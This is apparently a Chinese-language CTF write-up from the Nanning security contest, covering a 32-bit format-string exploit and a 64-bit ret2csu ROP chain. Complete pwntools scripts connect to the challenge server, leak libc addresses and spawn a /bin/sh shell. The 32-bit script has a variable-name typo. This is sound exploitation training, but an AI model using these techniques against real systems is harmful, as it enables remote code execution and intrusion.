南寧安全賽

format

規律總結

  1. 先確定格式化字符串相對偏移
abcd%0$p
-------->n=0
abcd0xffd8b07c
-------->n=1
abcd0x400
-------->n=2
abcd0xffd8b524
-------->n=3
abcd0x1ae23c
-------->n=4
abcd0x8
-------->n=5
abcd0x48
-------->n=6
abcd0x64636261 //偏移爲7
-------->n=7
  1. 通過%s找到magic
    linux 32位程序不開PIE保護時開始地址默認爲0x8048000
    試了一下
[DEBUG] Sent 0xd bytes:
    00000000  25 39 24 73  61 61 61 62  00 80 04 08  0a           │%9$s│aaab│····│·│
    0000000d
[DEBUG] Received 0xb bytes:
    00000000  7f 45 4c 46  01 01 01 61  61 61 62                  │·ELF│···a│aab│
  1. entry 距離 magic 爲0x18,所以我們接着泄露(0x8048000+0x18)
[DEBUG] Received 0xe bytes:
    00000000  d0 83 04 08  34 61 61 61  62 18 80 04  08 0a        │····│4aaa│b···│··│ 
    //0x080483d0是_start 地址
  1. 接着泄露_start函數
[DEBUG] Received 0x4a bytes:
    00000000  31 ed 5e 89  e1 83 e4 f0  50 54 52 68  b0 85 04 08  │1·^·│····│PTRh│····│
    00000010  68 40 85 04  08 51 56 68  c0 84 04 08  e8 bf ff ff  │h@··│·QVh│····│····│
    00000020  ff f4 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    00000030  b8 23 a0 04  08 2d 20 a0  04 08 83 f8  06 77 01 c3  │·#··│·- ·│····│·w··│
    00000040  b8 61 61 61  62 d0 83 04  08 0a                     │·aaa│b···│··│
    0000004a

_start 函數裏面有call ___libc_start_main 。對應的硬編碼是e8 bf ff ff ff,
e8是call函數的opcode, ffffffbf =-65是代表要跳轉的地址距離這條指令的下一條指令的偏移量爲-65。所以___libc_start_main 的plt地址爲0x080483d0+0x21-65=0x80483B0

[DEBUG] Received 0x11 bytes:
    00000000  ff 25 10 a0  04 08 68 20  61 61 61 62  b0 83 04 08  │·%··│··h │aaab│····│
    00000010  0a                                                  │·│
    0000001

收到硬編碼爲ff 25 10 a0 04 08,這是一條jmp指令
,ff25是opcode,0x0804a010是要跳轉的地址,得到___libc_start_main的got表爲0x0804a010,我們可以通過這個泄露處___libc_start_main的真實地址,從而算出libc base。

  1. 可以泄露第一個變量從而確定
[+] Opening connection to 47.106.209.151 on port 44444: Done
%0$p
-------->n=0
0xff83aa3c-------->n=1 //確定了變量的地址,而且它是在棧上面的
0x400
-------->n=2
0xff83aee4-------->n=3
0x1ae23c
-------->n=4
0x8
-------->n=5
0x48
-------->n=6
0x70243725-------->n=7
0xa
-------->n=8
(nil)

...

-------->n=261
(nil)
-------->n=262
0x6a96c400-------->n=263
0xf76de000-------->n=264 //返回值
0xf76de000-------->n=265
(nil)
-------->n=266
0xf7546637-------->n=267
0x1
-------->n=268
0xff83aee4-------->n=269
0xff83aeec-------->n=270
(nil)
-------->n=271
(nil)
-------->n=272
(nil)
-------->n=273

在這道題目中試了很多種方法,棧溢出,修改printf的got表之類,但都失敗了。最後找到的方法是利用格式化字符串修改返回值。
通過%p得到字符串地址
然後算出返回值
exp

from pwn import *
context.log_level = "debug"

libc = ELF("./x86_libc.so.6")
sh = remote("47.106.209.151", "44444")
sh.sendline('%p')
string_ad=sh.recv().strip()
str_ad =int(string_ad,16)
ibc_start_main=0x0804a010
sh.sendline("%9$saaab" + p32(libc_start_main))
info = sh.recvuntil("aaab")[0:4]
libc_start_main_1=u32(info)
print(hex(libc_start_main_1))
libc_base=libc_start_main_1-libc.symbols['__libc_start_main']
print("libc_base=",hex(libc_base))
system = libc_base+libc.symbols['system']
print("system=",hex(system))
system_hex=hex(system)
print('systm=',system_hex)
pay=fmtstr_payload(7,{str_ad-4*8:system,str_ad-4*6:str_ad+0x100},write_size='byte')
print(pay)


sh.sendline(pay.ljust(0x100)+'/bin/sh\x00')
sh.interactive()			

64位 rop

$ checksec pwn_x64 
[*] '/home/hu/Documents/nanning/pwn_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  1. 沒有canary,直接64位rop,
__libc_csu_init
.text:0000000000400610                 mov     rdx, r13
.text:0000000000400613                 mov     rsi, r14
.text:0000000000400616                 mov     edi, r15d
.text:0000000000400619                 call    qword ptr [r12+rbx*8]
.text:000000000040061D                 add     rbx, 1
.text:0000000000400621                 cmp     rbx, rbp
.text:0000000000400624                 jnz     short loc_400610
.text:0000000000400626
.text:0000000000400626 loc_400626:                             ; CODE XREF: __libc_csu_init+36↑j
.text:0000000000400626                 add     rsp, 8
.text:000000000040062A                 pop     rbx
.text:000000000040062B                 pop     rbp
.text:000000000040062C                 pop     r12
.text:000000000040062E                 pop     r13
.text:0000000000400630                 pop     r14
.text:0000000000400632                 pop     r15
.text:0000000000400634                 retn
  1. 利用
    pop-rbx_pop-rbp-pop_r12-pop_r13-pop_r14-pop_r15

mov_rdx,r13-mov_rsi,r14-mov_edi,r15,控制eip

payload1 =  "\x00"*0x88
payload1 += p64(0x40062A) + p64(0) +p64(1) + p64(fun) +  p64(8)+ p64(got表) + p64(1) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 +=p64(0)*7 +p64(main)
  • 泄露write 真實地址
payload1 =  "\x00"*136
payload1 += p64(0x40062A) + p64(0) +p64(1) + p64(got_write) +  p64(8)+ p64(got_write) + p64(1) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 +=p64(0)*7 +p64(main)

p.recvuntil("orld\n")

print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
  • 計算出system

system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)

  • 往.bss段裏面存入system,/bin/sh
bss_addr=0x0000000000601048

p.recvuntil("World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x40062A) + p64(0) + p64(1) + p64(got_read) +  p64(16)+ p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]

payload2 +=p64(0)*7 + p64(main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr)+"/bin/sh\x00")
  • 調用system(/bin/sh)
p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x40062A) + p64(0) +p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]

payload3 += p64(0)*7 +p64(main)

完整的exp

#!python
#!/usr/bin/env python
from pwn import *
context.log_level="debug"
#p=process('./pwn_x64')
p=remote("47.106.209.151","55555")
libc=ELF('./x64_libc.so.6')
elf=ELF('./pwn_x64')



got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)

main = 0x000000000040059D
fun =0x000000000040057D
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x40062A) + p64(0) +p64(1) + p64(got_write) +  p64(8)+ p64(got_write) + p64(1) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 +=p64(0)*7 +p64(main)

p.recvuntil("orld\n")

print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)

system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)

bss_addr=0x0000000000601048

p.recvuntil("World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x40062A) + p64(0) + p64(1) + p64(got_read) +  p64(16)+ p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]

payload2 +=p64(0)*7 + p64(main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr)+"/bin/sh\x00")

sleep(1)

p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x40062A) + p64(0) +p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x400610) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]

payload3 += p64(0)*7 +p64(main)

print "\n#############sending payload3#############\n"


p.send(payload3)

p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章